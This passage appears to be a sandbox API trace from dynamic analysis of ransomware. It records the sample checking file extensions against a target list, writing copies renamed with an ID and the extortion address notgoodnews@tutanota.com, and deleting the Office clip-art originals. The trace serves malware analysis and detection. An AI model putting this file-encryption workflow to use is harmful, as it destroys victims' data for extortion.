Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0185.125] lstrlenW (lpString=".1cd") returned 4 [0185.125] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0185.125] lstrlenW (lpString=".jpg") returned 4 [0185.125] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0185.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0185.125] lstrlenW (lpString=".doc") returned 4 [0185.125] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.125] lstrlenW (lpString=".docx") returned 5 [0185.125] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0185.125] lstrlenW (lpString=".pdf") returned 4 [0185.125] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.125] lstrlenW (lpString=".xls") returned 4 [0185.125] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.125] lstrlenW (lpString=".xlsx") returned 5 [0185.125] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0185.125] lstrlenW (lpString=".ppt") returned 4 [0185.125] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0185.126] lstrlenW (lpString=".zip") returned 4 [0185.126] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.126] lstrlenW (lpString=".rar") returned 4 [0185.126] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.126] lstrlenW (lpString=".bz2") returned 4 [0185.126] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.126] lstrlenW (lpString=".7z") returned 3 [0185.126] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0185.126] lstrlenW (lpString=".dbf") returned 4 [0185.126] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0185.126] lstrlenW (lpString=".1cd") returned 4 [0185.126] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0185.126] lstrlenW (lpString=".jpg") returned 4 [0185.126] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.126] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0185.126] lstrlenW (lpString="J0107750.WMF") returned 12 [0185.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107750.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0185.128] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=4716) returned 1 [0185.128] CloseHandle (hObject=0x548) returned 1 [0185.128] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107750.wmf")) returned 0x220 [0185.128] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107750.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0185.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107750.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0185.129] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.129] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107750.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0185.130] GetLastError () returned 0x0 [0185.130] ReadFile (in: hFile=0x548, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x126c, lpOverlapped=0x0) returned 1 [0185.402] WriteFile (in: hFile=0x3ac, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x1270, lpOverlapped=0x0) returned 1 [0185.404] ReadFile (in: hFile=0x548, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0185.404] WriteFile (in: hFile=0x3ac, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0185.404] SetEndOfFile (hFile=0x3ac) returned 1 [0185.404] CloseHandle (hObject=0x3ac) returned 1 [0185.404] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.404] SetEndOfFile (hFile=0x548) returned 1 [0185.408] CloseHandle (hObject=0x548) returned 1 [0185.409] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0185.409] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107750.wmf")) returned 1 [0185.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0185.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0185.411] lstrlenW (lpString=".doc") returned 4 [0185.411] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.411] lstrlenW (lpString=".docx") returned 5 [0185.411] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0185.411] lstrlenW (lpString=".pdf") returned 4 [0185.411] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.411] lstrlenW (lpString=".xls") returned 4 [0185.411] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.411] lstrlenW (lpString=".xlsx") returned 5 [0185.411] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0185.411] lstrlenW (lpString=".ppt") returned 4 [0185.411] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0185.411] lstrlenW (lpString=".zip") returned 4 [0185.411] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.411] lstrlenW (lpString=".rar") returned 4 [0185.411] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.411] lstrlenW (lpString=".bz2") returned 4 [0185.411] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.411] lstrlenW (lpString=".7z") returned 3 [0185.411] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0185.412] lstrlenW (lpString=".dbf") returned 4 [0185.412] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0185.412] lstrlenW (lpString=".1cd") returned 4 [0185.412] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0185.412] lstrlenW (lpString=".jpg") returned 4 [0185.412] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0185.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0185.412] lstrlenW (lpString=".doc") returned 4 [0185.412] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.412] lstrlenW (lpString=".docx") returned 5 [0185.412] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0185.412] lstrlenW (lpString=".pdf") returned 4 [0185.412] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.412] lstrlenW (lpString=".xls") returned 4 [0185.412] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.412] lstrlenW (lpString=".xlsx") returned 5 [0185.412] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0185.412] lstrlenW (lpString=".ppt") returned 4 [0185.412] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0185.412] lstrlenW (lpString=".zip") returned 4 [0185.412] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.413] lstrlenW (lpString=".rar") returned 4 [0185.413] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.413] lstrlenW (lpString=".bz2") returned 4 [0185.413] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.413] lstrlenW (lpString=".7z") returned 3 [0185.413] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0185.413] lstrlenW (lpString=".dbf") returned 4 [0185.413] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0185.413] lstrlenW (lpString=".1cd") returned 4 [0185.413] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0185.413] lstrlenW (lpString=".jpg") returned 4 [0185.413] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.413] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0185.413] lstrlenW (lpString="J0145361.JPG") returned 12 [0185.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145361.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0185.415] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=21125) returned 1 [0185.415] CloseHandle (hObject=0x548) returned 1 [0185.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145361.jpg")) returned 0x220 [0185.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145361.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0185.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145361.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0185.416] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.416] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145361.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0185.418] GetLastError () returned 0x0 [0185.418] ReadFile (in: hFile=0x548, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x5285, lpOverlapped=0x0) returned 1 [0185.421] WriteFile (in: hFile=0x3ac, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x5290, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x5290, lpOverlapped=0x0) returned 1 [0185.422] ReadFile (in: hFile=0x548, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0185.423] WriteFile (in: hFile=0x3ac, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0185.423] SetEndOfFile (hFile=0x3ac) returned 1 [0185.423] CloseHandle (hObject=0x3ac) returned 1 [0185.423] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.423] SetEndOfFile (hFile=0x548) returned 1 [0185.428] CloseHandle (hObject=0x548) returned 1 [0185.428] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0185.428] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145361.jpg")) returned 1 [0185.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0185.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0185.429] lstrlenW (lpString=".doc") returned 4 [0185.430] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0185.430] lstrlenW (lpString=".docx") returned 5 [0185.430] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0185.430] lstrlenW (lpString=".pdf") returned 4 [0185.430] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0185.430] lstrlenW (lpString=".xls") returned 4 [0185.430] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0185.430] lstrlenW (lpString=".xlsx") returned 5 [0185.430] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0185.430] lstrlenW (lpString=".ppt") returned 4 [0185.430] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0185.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0185.430] lstrlenW (lpString=".zip") returned 4 [0185.430] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0185.430] lstrlenW (lpString=".rar") returned 4 [0185.430] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0185.430] lstrlenW (lpString=".bz2") returned 4 [0185.430] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0185.430] lstrlenW (lpString=".7z") returned 3 [0185.430] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0185.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0185.430] lstrlenW (lpString=".dbf") returned 4 [0185.430] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0185.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0185.430] lstrlenW (lpString=".1cd") returned 4 [0185.430] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0185.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0185.430] lstrlenW (lpString=".jpg") returned 4 [0185.430] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0185.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0185.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0185.431] lstrlenW (lpString=".doc") returned 4 [0185.431] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0185.431] lstrlenW (lpString=".docx") returned 5 [0185.431] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0185.431] lstrlenW (lpString=".pdf") returned 4 [0185.431] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0185.431] lstrlenW (lpString=".xls") returned 4 [0185.431] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0185.431] lstrlenW (lpString=".xlsx") returned 5 [0185.431] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0185.431] lstrlenW (lpString=".ppt") returned 4 [0185.431] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0185.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0185.431] lstrlenW (lpString=".zip") returned 4 [0185.431] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0185.431] lstrlenW (lpString=".rar") returned 4 [0185.431] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0185.431] lstrlenW (lpString=".bz2") returned 4 [0185.431] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0185.431] lstrlenW (lpString=".7z") returned 3 [0185.431] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0185.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0185.431] lstrlenW (lpString=".dbf") returned 4 [0185.431] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0185.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0185.431] lstrlenW (lpString=".1cd") returned 4 [0185.432] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0185.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0185.432] lstrlenW (lpString=".jpg") returned 4 [0185.432] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0185.432] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0185.432] lstrlenW (lpString="J0145373.JPG") returned 12 [0185.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0185.434] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=17867) returned 1 [0185.434] CloseHandle (hObject=0x548) returned 1 [0185.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg")) returned 0x220 [0185.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0185.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0185.435] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.435] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0185.436] GetLastError () returned 0x0 [0185.436] ReadFile (in: hFile=0x548, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x45cb, lpOverlapped=0x0) returned 1 [0185.744] WriteFile (in: hFile=0x3ac, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x45d0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x45d0, lpOverlapped=0x0) returned 1 [0185.745] ReadFile (in: hFile=0x548, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0185.746] WriteFile (in: hFile=0x3ac, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0185.746] SetEndOfFile (hFile=0x3ac) returned 1 [0185.746] CloseHandle (hObject=0x3ac) returned 1 [0185.746] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.746] SetEndOfFile (hFile=0x548) returned 1 [0185.749] CloseHandle (hObject=0x548) returned 1 [0185.749] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0186.058] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg")) returned 1 [0186.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0186.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0186.059] lstrlenW (lpString=".doc") returned 4 [0186.059] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0186.059] lstrlenW (lpString=".docx") returned 5 [0186.059] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0186.059] lstrlenW (lpString=".pdf") returned 4 [0186.059] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0186.059] lstrlenW (lpString=".xls") returned 4 [0186.059] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0186.059] lstrlenW (lpString=".xlsx") returned 5 [0186.060] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0186.060] lstrlenW (lpString=".ppt") returned 4 [0186.060] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0186.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0186.060] lstrlenW (lpString=".zip") returned 4 [0186.060] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0186.060] lstrlenW (lpString=".rar") returned 4 [0186.060] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0186.060] lstrlenW (lpString=".bz2") returned 4 [0186.060] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0186.060] lstrlenW (lpString=".7z") returned 3 [0186.060] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0186.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0186.060] lstrlenW (lpString=".dbf") returned 4 [0186.060] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0186.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0186.060] lstrlenW (lpString=".1cd") returned 4 [0186.060] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0186.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0186.060] lstrlenW (lpString=".jpg") returned 4 [0186.060] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 